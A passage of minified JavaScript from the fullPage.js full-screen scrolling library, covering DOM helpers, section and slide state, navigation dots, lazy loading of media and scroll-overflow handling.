i?i.innerHeight:r.documentElement.offsetHeight}function m(){return i.innerWidth}function w(n,t){var e;for(e in n=M(n),t)if(t.hasOwnProperty(e)&&null!==e)for(var o=0;o<n.length;o++)n[o].style[e]=t[e];return n}function b(n,t){if(null==t)return n.previousElementSibling;var e=b(n);return e&&X(e,t)?e:null}function S(n,t){if(null==t)return n.nextElementSibling;var e=S(n);return e&&X(e,t)?e:null}function y(n,t){n=x(n)?n[0]:n;for(var e=null!=t?v(t,n.parentNode):n.parentNode.childNodes,o=0,i=0;i<e.length;i++){if(e[i]==n)return o;1==e[i].nodeType&&o++}return-1}function M(n){return x(n)?n:[n]}function T(n){n=M(n);for(var t=0;t<n.length;t++)n[t].style.display="none";return n}function A(n){n=M(n);for(var t=0;t<n.length;t++)n[t].style.display="block";return n}function x(n){return"[object Array]"===Object.prototype.toString.call(n)||"[object NodeList]"===Object.prototype.toString.call(n)}function O(n,t){n=M(n);for(var e=0;e<n.length;e++)n[e].classList.add(t);return n}function E(n,t){n=M(n);for(var e=t.split(" "),o=0;o<e.length;o++){t=e[o];for(var i=0;i<n.length;i++)n[i].classList.remove(t)}return n}function k(n,t){t.appendChild(n)}function D(n,t,e){var o;t=t||r.createElement("div");for(var i=0;i<n.length;i++){var a=n[i];(e&&!i||!e)&&(o=t.cloneNode(!0),a.parentNode.insertBefore(o,a)),o.appendChild(a)}return n}function j(n,t){D(n,t,!0)}function z(n){for(var t=r.createDocumentFragment();n.firstChild;)t.appendChild(n.firstChild);n.parentNode.replaceChild(t,n)}function L(n,t){return n&&1===n.nodeType?X(n,t)?n:L(n.parentNode,t):null}function R(n,t){P(n,n.nextSibling,t)}function N(n,t){P(n,n,t)}function P(n,t,e){x(e)||("string"==typeof e&&(e=Q(e)),e=[e]);for(var o=0;o<e.length;o++)n.parentNode.insertBefore(e[o],t)}function C(n){if(void 0!==n&&n.fitToSection)return r.body.scrollTop;var t=r.documentElement;return(i.pageYOffset||t.scrollTop)-(t.clientTop||0)}function H(n){return Array.prototype.filter.call(n.parentNode.children,(function(t){return t!==n}))}function I(n){n.preventDefault()}function W(n,t){return n.getAttribute(t)}function B(n,t,e){r.addEventListener(n,t,"undefined"===e?null:e)}function Z(n,t,e){i.addEventListener(n,t,"undefined"===e?null:e)}function F(n,t,e){r.removeEventListener(n,t,"undefined"===e?null:e)}function V(n,t,e){i.removeEventListener(n,t,"undefined"===e?null:e)}function Y(n){if("function"==typeof n)return!0;var t=Object.prototype.toString.call(n);return"[object Function]"===t||"[object GeneratorFunction]"===t}function G(n,t,e){var o;e=void 0===e?{}:e,"function"==typeof i.CustomEvent?o=new CustomEvent(t,{detail:e}):(o=r.createEvent("CustomEvent")).initCustomEvent(t,!0,!0,e),n.dispatchEvent(o)}function X(n,t){return(n.matches||n.t||n.msMatchesSelector||n.mozMatchesSelector||n.webkitMatchesSelector||n.oMatchesSelector).call(n,t)}function U(n,t){if("boolean"==typeof t)for(var e=0;e<n.length;e++)n[e].style.display=t?"block":"none";return n}function Q(n){var t=r.createElement("div");return t.innerHTML=n.trim(),t.firstChild}function _(n){n=M(n);for(var t=0;t<n.length;t++){var e=n[t];e&&e.parentElement&&e.parentNode.removeChild(e)}}function J(n,t,e){for(var o=n[e],i=[];o;)(X(o,t)||null==t)&&i.push(o),o=o[e];return i}function K(n,t){return J(n,t,"nextElementSibling")}function q(n,t){return J(n,t,"previousElementSibling")}function $(n){return n[n.length-1]}function nn(n,t){for(var e=0,o=n.slice(Math.max(n.length-t,1)),i=0;i<o.length;i++)e+=o[i];return Math.ceil(e/t)}function tn(n,t){n.setAttribute(t,W(n,"data-"+t)),n.removeAttribute("data-"+t)}function en(n){return en="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},en(n)}i.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=function(n,t){t=t||window;for(var e=0;e<this.length;e++)n.call(t,this[e],e,this)}),"function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(n,t){if(null==n)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(n),o=1;o<arguments.length;o++){var i=arguments[o];if(null!=i)for(var r in i)Object.prototype.hasOwnProperty.call(i,r)&&(e[r]=i[r])}return e},writable:!0,o:!0}),window.fp_utils={$:v,deepExtend:p,hasClass:h,getWindowHeight:g,css:w,prev:b,next:S,last:function(n){return n[n.length-1]},index:y,getList:M,hide:T,show:A,isArrayOrList:x,addClass:O,removeClass:E,appendTo:k,wrap:D,wrapAll:j,wrapInner:function(n,t){for("string"==typeof t&&(t=Q(t)),n.appendChild(t);n.firstChild!==t;)t.appendChild(n.firstChild)},unwrap:z,closest:L,after:R,before:N,insertBefore:P,getScrollTop:C,siblings:H,preventDefault:I,isFunction:Y,trigger:G,matches:X,toggle:U,createElementFromHTML:Q,remove:_,filter:function(n,t){Array.prototype.filter.call(n,t)},untilAll:J,nextAll:K,prevAll:q,showError:s};var on={i:{},l:function(n,t){var e=this;return"object"!==en(this.i[n])&&(this.i[n]=[]),this.i[n].push(t),function(){return e.removeListener(n,t)}},removeListener:function(n,t){if("object"===en(this.i[n])){var e=this.i[n].indexOf(t);e>-1&&this.i[n].splice(e,1)}},u:function(n){for(var t=this,e=arguments.length,o=new Array(e>1?e-1:0),i=1;i<e;i++)o[i-1]=arguments[i];"object"===en(this.i[n])&&this.i[n].forEach((function(n){return n.apply(t,o)}))},once:function(n,t){var e=this,o=this.l(n,(function(){o();for(var n=arguments.length,i=new Array(n),r=0;r<n;r++)i[r]=arguments[r];t.apply(e,i)}))}},rn={v:0,p:0,slides:[],h:[],g:null,S:null,M:!1,T:!1,A:!1,O:!1,D:!1,j:void 0,L:void 0,R:!1,canScroll:!0,N:"none",P:"none",C:!1,H:!0,I:0,W:g(),B:!1,Z:{}};function an(n){Object.assign(rn,n)}function ln(){return rn}function un(n){on.u("onClickOrTouch",{e:n,target:n.target})}function cn(){["click","touchstart"].forEach((function(n){F(n,un)}))}function sn(){an({H:!0})}i.state=rn,on.l("bindEvents",(function(){["click","touchstart"].forEach((function(n){B(n,un)})),Z("focus",sn),on.l("onDestroy",cn)}));var fn="fullpage-wrapper",dn="."+fn,vn="fp-responsive",pn="fp-notransition",hn="fp-destroyed",gn="fp-enabled",mn="active",wn=".active",bn="fp-completely",Sn="fp-section",yn="."+Sn,Mn=".fp-tableCell",Tn="fp-auto-height",An="#fp-nav",xn="fp-slide",On="."+xn,En=".fp-slide.active",kn="fp-slides",Dn=".fp-slides",jn="fp-slidesContainer",zn="."+jn,Ln="fp-table",Rn="fp-overflow",Nn="."+Rn,Pn=".fp-slidesNav",Cn=".fp-slidesNav a",Hn="fp-controlArrow",In="."+Hn,Wn="fp-prev",Bn=".fp-controlArrow.fp-prev",Zn=".fp-controlArrow.fp-next",Fn={menu:!1,anchors:[],lockAnchors:!1,navigation:!1,navigationPosition:"right",navigationTooltips:[],showActiveTooltip:!1,slidesNavigation:!1,slidesNavPosition:"bottom",scrollBar:!1,hybrid:!1,licenseKey:"",credits:{enabled:!0,label:"Made with fullPage.js",position:"right"},css3:!0,scrollingSpeed:700,autoScrolling:!0,fitToSection:!0,F:1e3,easing:"easeInOutCubic",easingcss3:"ease",loopBottom:!1,loopTop:!1,loopHorizontal:!0,continuousVertical:!1,continuousHorizontal:!1,scrollHorizontally:!1,interlockedSlides:!1,dragAndMove:!1,offsetSections:!1,resetSliders:!1,fadingEffect:!1,normalScrollElements:null,scrollOverflow:!0,scrollOverflowReset:!1,touchSensitivity:5,touchWrapper:null,bigSectionsDestination:null,keyboardScrolling:!0,animateAnchor:!0,recordHistory:!0,allowCorrectDirection:!1,scrollOverflowMacStyle:!0,controlArrows:!0,controlArrowsHTML:['<div class="fp-arrow"></div>','<div class="fp-arrow"></div>'],controlArrowColor:"#fff",verticalCentered:!0,sectionsColor:[],paddingTop:0,paddingBottom:0,fixedElements:null,responsive:0,responsiveWidth:0,responsiveHeight:0,responsiveSlides:!1,parallax:!1,parallaxOptions:{type:"reveal",percentage:62,property:"translate"},cards:!1,cardsOptions:{perspective:100,fadeContent:!0,fadeBackground:!0},sectionSelector:".section",slideSelector:".slide",afterLoad:null,beforeLeave:null,onLeave:null,afterRender:null,afterResize:null,afterReBuild:null,afterSlideLoad:null,onSlideLeave:null,afterResponsive:null,onScrollOverflow:null,lazyLoading:!0,observer:!0},Vn=null,Yn=!1,Gn=p({},Fn),Xn=null;function Un(n){return Vn}function Qn(){return Xn||Fn}function _n(){return Gn}function Jn(n,t,e){Xn[n]=t,"internal"!==e&&(Gn[n]=t)}function Kn(){if(!Qn().anchors.length){var n=v(Qn().sectionSelector.split(",").join("[data-anchor],")+"[data-anchor]",Vn);n.length&&n.length===v(Qn().sectionSelector,Vn).length&&(Yn=!0,n.forEach((function(n){Qn().anchors.push(W(n,"data-anchor").toString())})))}if(!Qn().navigationTooltips.length){var t=v(Qn().sectionSelector.split(",").join("[data-tooltip],")+"[data-tooltip]",Vn);t.length&&t.forEach((function(n){Qn().navigationTooltips.push(W(n,"data-tooltip").toString())}))}}var qn=function(n){this.anchor=n.anchor,this.item=n.item,this.index=n.index(),this.isLast=this.index===n.item.parentElement.querySelectorAll(n.selector).length-1,this.isFirst=!this.index,this.isActive=n.isActive},$n=function(n,t){this.parent=this.parent||null,this.selector=t,this.anchor=W(n,"data-anchor")||Qn().anchors[y(n,Qn().sectionSelector)],this.item=n,this.isVisible=f(n),this.isActive=h(n,mn),this.V=h(n,Rn),this.Y=t===Qn().sectionSelector,this.container=L(n,zn)||L(n,dn),this.index=function(){return this.siblings().indexOf(this)}};function nt(n){return n.map((function(n){return n.item}))}function tt(n,t){return n.find((function(n){return n.item===t}))}$n.prototype.siblings=function(){return this.Y?this.isVisible?rn.h:rn.G:this.parent?this.parent.slides:0},$n.prototype.prev=function(){var n=this.siblings(),t=(this.Y?n.indexOf(this):this.parent.slides.indexOf(this))-1;return t>=0?n[t]:null},$n.prototype.next=function(){var n=this.siblings(),t=(this.Y?n.indexOf(this):this.parent.slides.indexOf(this))+1;return t<n.length?n[t]:null},$n.prototype.X=function(){return this.Y?rn.h:rn.U};var et,ot,it=function(n){qn.call(this,n)},rt=function(n){qn.call(this,n)};function at(n){return void 0!==window["fp_"+n+"Extension"]}function lt(n){var t=Qn();return null!==t[n]&&"[object Array]"===Object.prototype.toString.call(t[n])?t[n].length&&c[n]:t[n]&&c[n]}function ut(n,t,e){if(lt(n))return Y(c[n][t])?c[n][t](e):c[n][t]}function ct(){return ut("dragAndMove","isAnimating")}function st(){return ut("dragAndMove","isGrabbing")}function ft(n){return Qn().offsetSections&&c.offsetSections?Math.round(ut("offsetSections","getWindowHeight",n)):g()}function dt(n,t){n.insertBefore(t,n.firstChild)}function vt(n){var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";function e(n){var e,o,i,r,a,l,u="",c=0;for(n=n.replace(/[^A-Za-z0-9+/=]/g,"");c<n.length;)e=t.indexOf(n.charAt(c++))<<2|(r=t.indexOf(n.charAt(c++)))>>4,o=(15&r)<<4|(a=t.indexOf(n.charAt(c++)))>>2,i=(3&a)<<6|(l=t.indexOf(n.charAt(c++))),u+=String.fromCharCode(e),64!=a&&(u+=String.fromCharCode(o)),64!=l&&(u+=String.fromCharCode(i));return u=function(n){for(var t,e="",o=0,i=0,r=0;o<n.length;)(i=n.charCodeAt(o))<128?(e+=String.fromCharCode(i),o++):i>191&&i<224?(r=n.charCodeAt(o+1),e+=String.fromCharCode((31&i)<<6|63&r),o+=2):(r=n.charCodeAt(o+1),t=n.charCodeAt(o+2),e+=String.fromCharCode((15&i)<<12|(63&r)<<6|63&t),o+=3);return e}(u),u}function o(n){return n.slice(3).slice(0,-3)}return function(n){var t=n.split("_");if(t.length>1){var i=t[1];return e(n.replace(o(t[1]),"").split("_")[0].slice(2).slice(0,-2))+"_"+e(i.slice(3).slice(0,-3))}return o(n)}(e(n))}function pt(n){var t=v(En,n);return t.length&&(n=t[0]),n}function ht(n){var t,e,o=Qn();return o.autoScrolling&&!o.scrollBar?(t=-n,e=v(dn)[0]):o.fitToSection?(t=n,e=r.body):(t=n,e=window),{options:t,element:e}}function gt(n,t){!Qn().autoScrolling||Qn().scrollBar||n.self!=window&&h(n,kn)?n.self!=window&&h(n,kn)?n.scrollLeft=t:n.scrollTo(0,t):n.style.top=t+"px"}function mt(n){var t="transform "+Qn().scrollingSpeed+"ms "+Qn().easingcss3;return E(n,pn),w(n,{"-webkit-transition":t,transition:t})}function wt(n,t){var e=n.index(),o=y(t,yn);return e==o?"none":e>o?"up":"down"}function bt(n){return O(n,pn)}function St(n){return{"-webkit-transform":n,"-moz-transform":n,"-ms-transform":n,transform:n}}function yt(n,t){t?mt(Un()):bt(Un()),clearTimeout(et),w(Un(),St(n)),c.test._=n,et=setTimeout((function(){E(Un(),pn)}),10)}function Mt(n){var t=Math.round(n);if(Qn().css3&&Qn().autoScrolling&&!Qn().scrollBar)yt("translate3d(0px, -"+t+"px, 0px)",!1);else if(Qn().autoScrolling&&!Qn().scrollBar)w(Un(),{top:-t+"px"}),c.test.top=-t+"px";else{var e=ht(t);gt(e.element,e.options)}}function Tt(n,t){"internal"!==t&&ut("fadingEffect","update",n),ut("cards","update_",n),Jn("scrollingSpeed",n,t)}function At(){clearTimeout(ot)}function xt(n,t,e,o){var a=function(n){return n.self!=i&&h(n,kn)?n.scrollLeft:!Qn().autoScrolling||Qn().scrollBar?C(Qn()):n.offsetTop}(n),l=t-a,u=0;an({R:!0});var c=!1;n===r.body&&w(r.body,{"scroll-snap-type":"none"}),function r(){if(rn.R){var s=t;u+=20,e&&(s=i.fp_easings[Qn().easing](u,a,l,e)),gt(n,s),u<e?(clearTimeout(ot),ot=setTimeout(r,20)):void 0===o||c||(o(),c=!0)}else u<e&&!c&&(o(),c=!0)}()}function Ot(n){return n&&!n.item?new it(new le(n)):n?new it(n):null}function Et(n){return n?new rt(n):null}function kt(n,t){var e,o=function(n,t){var e={afterRender:function(){return{section:Ot(ln().g),J:Et(ln().g.activeSlide)}},onLeave:function(){return{origin:Ot(t.items.origin),destination:Ot(t.items.destination),direction:t.direction,trigger:ln().S}},afterLoad:function(){return e.onLeave()},afterSlideLoad:function(){return{section:Ot(t.items.section),origin:Ot(t.items.origin),destination:Ot(t.items.destination),direction:t.direction,trigger:ln().S}},onSlideLeave:function(){return e.afterSlideLoad()},beforeLeave:function(){return e.onLeave()},onScrollOverflow:function(){return{section:Ot(ln().g),J:Et(ln().g.activeSlide),position:t.position}}};return e[n]()}(n,t);return G(Un(),n,o),!1!==Qn()[n].apply(o[Object.keys(o)[0]],(e=o,Object.keys(e).map((function(n){return e[n]}))))}function Dt(n){var t=pt(n);v("video, audio",t).forEach((function(n){n.hasAttribute("data-autoplay")&&"function"==typeof n.play&&n.play()})),v('iframe[src*="youtube.com/embed/"]',t).forEach((function(n){n.hasAttribute("data-autoplay")&&jt(n),n.onload=function(){n.hasAttribute("data-autoplay")&&jt(n)}}))}function jt(n){n.contentWindow.postMessage('{"event":"command","func":"playVideo","args":""}',"*")}function zt(n){var t=pt(n);v("video, audio",t).forEach((function(n){n.hasAttribute("data-keepplaying")||"function"!=typeof n.pause||n.pause()})),v('iframe[src*="youtube.com/embed/"]',t).forEach((function(n){/youtube\.com\/embed\//.test(W(n,"src"))&&!n.hasAttribute("data-keepplaying")&&n.contentWindow.postMessage('{"event":"command","func":"pauseVideo","args":""}',"*")}))}function Lt(n){Qn().lazyLoading&&v("img[data-src], img[data-srcset], source[data-src], source[data-srcset], video[data-src], audio[data-src], iframe[data-src]",pt(n)).forEach((function(n){if(["src","srcset"].forEach((function(t){var e=W(n,"data-"+t);null!=e&&e&&(tn(n,t),n.addEventListener("load",(function(){})))})),X(n,"source")){var t=L(n,"video, audio");t&&(t.load(),t.onloadeddata=function(){})}}))}i.fp_utils=i.fp_utils||{},Object.assign(i.fp_utils,{prependTo:dt,toggleClass:function(n,t,e){if(n.classList&&null==e)n.classList.toggle(t);else{var o=h(n,t);o&&null==e||!e?E(n,t):(!o&&null==e||e)&&O(n,t)}}}),c.setScrollingSpeed=Tt,on.l("bindEvents",(function(){on.l("onDestroy",At)}));var Rt=null,Nt=null,Pt=null;function Ct(){var n=ln().g.item,t=ln().g.activeSlide,e=Ht(n),o=String(e);t&&(o=o+"-"+Ht(t.item)),o=o.replace("/","-").replace("#","");var i=new RegExp("\\b\\s?fp-viewing-[^\\s]+\\b","g");Rt.className=Rt.className.replace(i,""),O(Rt,"fp-viewing-"+o)}function Ht(n){if(!n)return null;var t=W(n,"data-anchor"),e=y(n);return null==t&&(t=e),t}function It(n,t,e){var o="";Qn().anchors.length&&!Qn().lockAnchors&&(n?(null!=e&&(o=e),null==t&&(t=n),an({L:t}),Wt(o+"/"+t)):null!=n?(an({L:t}),Wt(e)):Wt(e)),Ct()}function Wt(n){if(Qn().recordHistory)location.hash=n;else if(a||u)i.history.replaceState(void 0,void 0,"#"+n);else{var t=i.location.href.split("#")[0];i.location.replace(t+"#"+n)}}function Bt(n,t,e){var o="Section"===t?Qn().anchors[n]:W(e,"data-anchor");return Qn().navigationTooltips[n]||o||t+" "+(n+1)}function Zt(n){I(n),an({S:"horizontalNav"});var t=L(this,yn),e=v(Dn,L(this,yn))[0],o=tt(ln().h,t).slides[y(L(this,"li"))];on.u("landscapeScroll",{slides:e,destination:o.item})}var Ft,Vt={};function Yt(n,t,e){"all"!==t?Vt[e][t]=n:Object.keys(Vt[e]).forEach((function(t){Vt[e][t]=n}))}function Gt(){return Vt}function Xt(){var n=L(this,yn);h(this,Wn)?Gt().m.left&&(an({S:"slideArrow"}),on.u("moveSlideLeft",{section:n})):Gt().m.right&&(an({S:"slideArrow"}),on.u("moveSlideRight",{section:n}))}function Ut(n){!Qn().loopHorizontal&&Qn().controlArrows&&(U(v(Bn,n.section),0!==n.slideIndex),U(v(Zn,n.section),null!=S(n.destiny)))}function Qt(){clearTimeout(Ft)}function _t(n,t,e){var o=L(n,yn),i=ln().h.filter((function(n){return n.item==o}))[0],r=i.slides.filter((function(n){return n.item==t}))[0],a={slides:n,destiny:t,direction:e,destinyPos:{left:t.offsetLeft},slideIndex:r.index(),section:o,sectionIndex:i.index(),anchorLink:i.anchor,slidesNav:v(Pn,o)[0],slideAnchor:r.anchor,prevSlide:i.activeSlide.item,prevSlideIndex:i.activeSlide.index(),items:{section:i,origin:i.activeSlide,destination:r},localIsResizing:rn.O};a.xMovement=Kt(a.prevSlideIndex,a.slideIndex),a.direction=a.direction?a.direction:a.xMovement,a.localIsResizing||an({canScroll:!1}),ut("parallax","applyHorizontal",a),ut("cards","apply",a),ut("dropEffect","apply",a),ut("waterEffect","apply",a),Qn().onSlideLeave&&!a.localIsResizing&&"none"!==a.xMovement&&Y(Qn().onSlideLeave)&&!1===kt("onSlideLeave",a)?an({A:!1}):(lt("dropEffect")&&Qn().dropEffect||(O(t,mn),E(H(t),mn)),oe(),a.localIsResizing||(zt(a.prevSlide),Lt(t)),Ut(a),i.isActive&&!a.localIsResizing&&It(a.slideIndex,a.slideAnchor,a.anchorLink),ut("continuousHorizontal","apply",a),st()?$t(a):Jt(n,a,!0),Qn().interlockedSlides&&c.interlockedSlides&&(lt("continuousHorizontal")&&void 0!==e&&e!==a.xMovement||ut("interlockedSlides","apply",a)))}function Jt(n,t,e){var o,i,r=t.destinyPos;if(o=t.slidesNav,i=t.slideIndex,Qn().slidesNavigation&&null!=o&&(E(v(wn,o),mn),O(v("a",v("li",o)[i]),mn)),an({scrollX:Math.round(r.left)}),Qn().css3){var a="translate3d(-"+Math.round(r.left)+"px, 0px, 0px)";c.test.K[t.sectionIndex]=a,lt("dragAndMove")&&void 0!==t.q||mt(v(zn,n)),w(v(zn,n),St(a)),lt("interlockedSlides")||clearTimeout(Ft),Ft=setTimeout((function(){e&&$t(t)}),Qn().scrollingSpeed)}else c.test.left[t.sectionIndex]=Math.round(r.left),xt(n,Math.round(r.left),Qn().scrollingSpeed,(function(){e&&$t(t)}))}function Kt(n,t){return n==t?"none":n>t?"left":"right"}function qt(){clearTimeout(Ft)}function $t(n){ut("continuousHorizontal","afterSlideLoads",n),n.localIsResizing||(ut("parallax","afterSlideLoads"),ut("scrollOverflowReset","setPrevious",n.prevSlide),ut("scrollOverflowReset","reset"),Y(Qn().afterSlideLoad)&&kt("afterSlideLoad",n),an({canScroll:!0}),Dt(n.destiny)),an({A:!1}),ut("interlockedSlides","interlockedSlides",n)}function ne(n,t){Tt(0,"internal"),void 0!==t&&an({O:!0}),_t(L(n,Dn),n),void 0!==t&&an({O:!1}),Tt(_n().scrollingSpeed,"internal")}Vt.m={up:!0,down:!0,left:!0,right:!0},Vt.k=p({},Vt.m),on.l("onClickOrTouch",(function(n){var t=n.target;(X(t,In)||L(t,In))&&Xt.call(t,n)})),c.landscapeScroll=_t,on.l("bindEvents",(function(){on.l("onPerformMovement",Qt)}));var te=null,ee=null;function oe(){rn.g=null,rn.h.map((function(n){var t=h(n.item,mn);n.isActive=t,n.V=h(n.item,Rn),t&&(rn.g=n),n.slides.length&&(n.activeSlide=null,n.slides.map((function(t){var e=h(t.item,mn);t.V=h(t.item,Rn),t.isActive=e,e&&(n.activeSlide=t)})))})),function(){var n=rn.g,t=!!rn.g&&rn.g.slides.length,e=rn.g?rn.g.activeSlide:null;if(!n&&rn.h.length&&!ln().M)if(lt("responsiveSlides")&&ut("responsiveSlides","areSlidesSections"))an({g:rn.U.filter((function(n){return n.item===v(yn)}))[0]});else{if(te){var o=ae(te,rn.h);o&&(rn.g=o,rn.g.isActive=!0,O(rn.g.item,mn)),rn.g&&Mt(rn.g.item.offsetTop)}if(t&&!e&&ee){var i=ae(ee,rn.g.slides);i&&(rn.g.activeSlide=i,rn.g.activeSlide.isActive=!0,O(rn.g.activeSlide.item,mn)),rn.g.activeSlide&&ne(rn.g.activeSlide.item,"internal")}}}(),G(Un(),"onUpdateStateDone")}function ie(){var n=v(Qn().sectionSelector,Un()),t=d(n),e=Array.from(n).map((function(n){return new le(n)})),o=e.filter((function(n){return n.isVisible})),i=o.reduce((function(n,t){return n.concat(t.slides)}),[]);te=re(rn.g),ee=re(rn.g?rn.g.activeSlide:null),rn.v=t.length,rn.p=o.reduce((function(n,t){return n+t.slides.length}),0),rn.h=o,rn.G=e,rn.slides=i,rn.U=rn.h.concat(rn.slides)}function re(n){if(!n)return null;var t=n?n.item:null,e=n.Y?rn.G:rn.g.nn;if(t){var o=tt(e,t);return o?o.index():null}return null}function ae(n,t){var e,o=n-1,i=n;do{if(e=t[o]||t[i])break;o-=1,i+=1}while(o>=0||i<t.length);return e}var le=function(n){var t=this;[].push.call(arguments,Qn().sectionSelector),$n.apply(this,arguments),this.tn=v(Qn().slideSelector,n),this.nn=Array.from(this.tn).map((function(n){return new ue(n,t)})),this.slides=this.nn.filter((function(n){return n.isVisible})),this.activeSlide=this.slides.length?this.slides.filter((function(n){return n.isActive}))[0]||this.slides[0]:null};le.prototype=$n.prototype,le.prototype.constructor=le;var ue=function(n,t){this.parent=t,$n.call(this,n,Qn().slideSelector)};function ce(){O(v(Qn().sectionSelector,Un()),Sn),O(v(Qn().slideSelector,Un()),xn)}function se(){G(b(this),"click")}function fe(){_(v(An));var n=r.createElement("div");n.setAttribute("id","fp-nav");var t=r.createElement("ul");n.appendChild(t),k(n,Rt);var e=v(An)[0];O(e,"fp-"+Qn().navigationPosition),Qn().showActiveTooltip&&O(e,"fp-show-active");for(var o="",i=0;i<ln().h.length;i++){var a=ln().h[i],l="";Qn().anchors.length&&(l=a.anchor),o+='<li><a href="#'+l+'"><span class="fp-sr-only">'+Bt(a.index(),"Section")+"</span><span></span></a>";var u=Qn().navigationTooltips[a.index()];void 0!==u&&""!==u&&(o+='<div class="fp-tooltip fp-'+Qn().navigationPosition+'">'+u+"</div>"),o+="</li>"}v("ul",e)[0].innerHTML=o;var c=v("li",v(An)[0])[ln().g.index()];O(v("a",c),mn)}function de(n){n.preventDefault&&I(n),an({S:"verticalNav"});var t=y(L(this,"#fp-nav li"));on.u("scrollPage",{destination:ln().h[t]})}function ve(n,t){Jn("recordHistory",n,t)}function pe(n,t){n||Mt(0),Jn("autoScrolling",n,t);var e=ln().g.item;if(Qn().autoScrolling&&!Qn().scrollBar)w(Pt,{overflow:"hidden",height:"100%"}),E(Rt,"fp-scrollable"),ve(_n().recordHistory,"internal"),w(Un(),{"-ms-touch-action":"none","touch-action":"none"}),null!=e&&Mt(e.offsetTop);else if(w(Pt,{overflow:"visible",height:"initial"}),O(Rt,"fp-scrollable"),ve(!!Qn().autoScrolling&&_n().recordHistory,"internal"),w(Un(),{"-ms-touch-action":"","touch-action":""}),bt(Un()),null!=e){w(Pt,{"scroll-behavior":"unset"});var o=ht(e.offsetTop);o.element.scrollTo(0,o.options)}G(Un(),"setAutoScrolling",n)}ue.prototype=$n.prototype,ue.prototype.constructor=le,c.setRecordHistory=ve,c.setAutoScrolling=pe,c.test.setAutoScrolling=pe,c.setFitToSection=me,c.fitToSection=function(){};var he,ge="scrollSnapAlign"in(he=r.documentElement.style)||"en"in he||"on"in he;function me(n,t){we(n),Jn("fitToSection",n,t)}function we(n){ge&&(Qn().fitToSection&&(!Qn().autoScrolling||Qn().scrollBar)&&n?O:E)(Nt,"fp-snaps")}function be(){var n=Qn().responsive||Qn().responsiveWidth,t=Qn().responsiveHeight,e=n&&i.innerWidth<n,o=t&&i.innerHeight<t;n&&t?Se(e||o):n?Se(e):t&&Se(o)}function Se(n){var t=ye();n?t||(pe(!1,"internal"),me(!1,"internal"),T(v(An)),O(Rt,vn),Y(Qn().afterResponsive)&&Qn().afterResponsive.call(Un(),n),ut("responsiveSlides","toSections"),G(Un(),"afterResponsive",n)):t&&(pe(_n().autoScrolling,"internal"),me(_n().autoScrolling,"internal"),A(v(An)),E(Rt,vn),Y(Qn().afterResponsive)&&Qn().afterResponsive.call(Un(),n),ut("responsiveSlides","toSlides"),G(Un(),"afterResponsive",n))}function ye(){return h(Rt,vn)}c.setResponsive=Se,on.l("bindEvents",(function(){i.addEventListener("load",(function(){Qn().scrollOverflow&&!Qn().scrollBar&&(Te.rn(),Te.an())})),Qn().scrollOverflow&&nt(ln().U).forEach((function(n){n.addEventListener("scroll",Te.ln),n.addEventListener("wheel",Te.un),n.addEventListener("keydown",Te.un),n.addEventListener("keydown",Te.cn)}))}));var Me,Te={sn:null,dn:null,vn:null,un:function(n){if(!rn.canScroll)return I(n),!1},an:function(){r.activeElement===this.sn&&this.sn.blur(),v(Nn,ln().g.item)[0]&&(this.sn=v(Nn,ln().g.item)[0],this.sn.focus())},rn:function(){Qn().scrollOverflowMacStyle&&!l&&O(Rt,"fp-scroll-mac"),ln().U.forEach((function(n){if(!(h(n.item,"fp-noscroll")||h(n.item,Tn)||h(n.item,"fp-auto-height-responsive")&&ye())){var t=Te.pn(n.item),e=Te.hn(n.item);e?(O(t,Rn),t.setAttribute("tabindex","-1")):(E(t,Rn),t.removeAttribute("tabindex")),n.V=e}}))},pn:function(n){return v(En,n)[0]||n},gn:function(n){return n.Y&&n.activeSlide?n.activeSlide.V:n.V},hn:function(n){return n.scrollHeight>i.innerHeight},mn:function(n,t){if(!rn.canScroll)return!1;if(!Qn().scrollOverflow)return!0;var e=Te.pn(t),o=e.scrollTop,i="up"===n&&o<=0,r="down"===n&&e.scrollHeight<=e.offsetHeight+o,a=i||r;return a||(this.dn=(new Date).getTime()),a},wn:function(){this.vn=(new Date).getTime();var n=this.vn-Te.dn,t=a||u;return t&&rn.C&&n>400||!t&&n>600},ln:(Me=0,function(n){var t=n.target.scrollTop,e="none"!==rn.N?rn.N:Me<t?"down":"up";Me=t,Y(Qn().onScrollOverflow)&&kt("onScrollOverflow",{position:t}),h(n.target,Rn)&&rn.canScroll&&Te.mn(e,n.target)&&Te.wn()&&on.u("onScrollOverflowScrolled",{direction:e})})};function Ae(n){Qn().verticalCentered&&(Te.gn(n)||h(n.item,Ln)||O(n.item,Ln))}function xe(n){var t=n.slides.length,e=n.tn,o=n.slides,i=100*t,a=100/t;if(!v(Dn,n.item)[0]){var l=r.createElement("div");l.className=kn,j(e,l);var u=r.createElement("div");u.className=jn,j(e,u)}w(v(zn,n.item),{width:i+"%"}),t>1&&(Qn().controlArrows&&function(n){var t=n.item,e=[Q(Qn().controlArrowsHTML[0]),Q(Qn().controlArrowsHTML[1])];R(v(Dn,t)[0],e),O(e,Hn),O(e[0],Wn),O(e[1],"fp-next"),"#fff"!==Qn().controlArrowColor&&(w(v(Zn,t),{"border-color":"transparent transparent transparent "+Qn().controlArrowColor}),w(v(Bn,t),{"border-color":"transparent "+Qn().controlArrowColor+" transparent transparent"})),Qn().loopHorizontal||T(v(Bn,t))}(n),Qn().slidesNavigation&&function(n){var t=n.item,e=n.slides.length;k(Q('<div class="fp-slidesNav"><ul></ul></div>'),t);var o=v(Pn,t)[0];O(o,"fp-"+Qn().slidesNavPosition);for(var i=0;i<e;i++)k(Q('<li><a href="#"><span class="fp-sr-only">'+Bt(i,"Slide",v(On,t)[i])+"</span><span></span></a></li>"),v("ul",o)[0]);w(o,{"margin-left":"-"+o.innerWidth/2+"px"});var r=n.activeSlide?n.activeSlide.index():0;O(v("a",v("li",o)[r]),mn)}(n)),o.forEach((function(n){w(n.item,{width:a+"%"}),Qn().verticalCentered&&Ae(n)}));var c=lt("responsiveSlides")?null:n.activeSlide||null;null!=c&&rn.g&&(0!==rn.g.index()||0===rn.g.index()&&0!==c.index())?(ne(c.item,"internal"),O(c.item,"fp-initial")):O(e[0],mn)}var 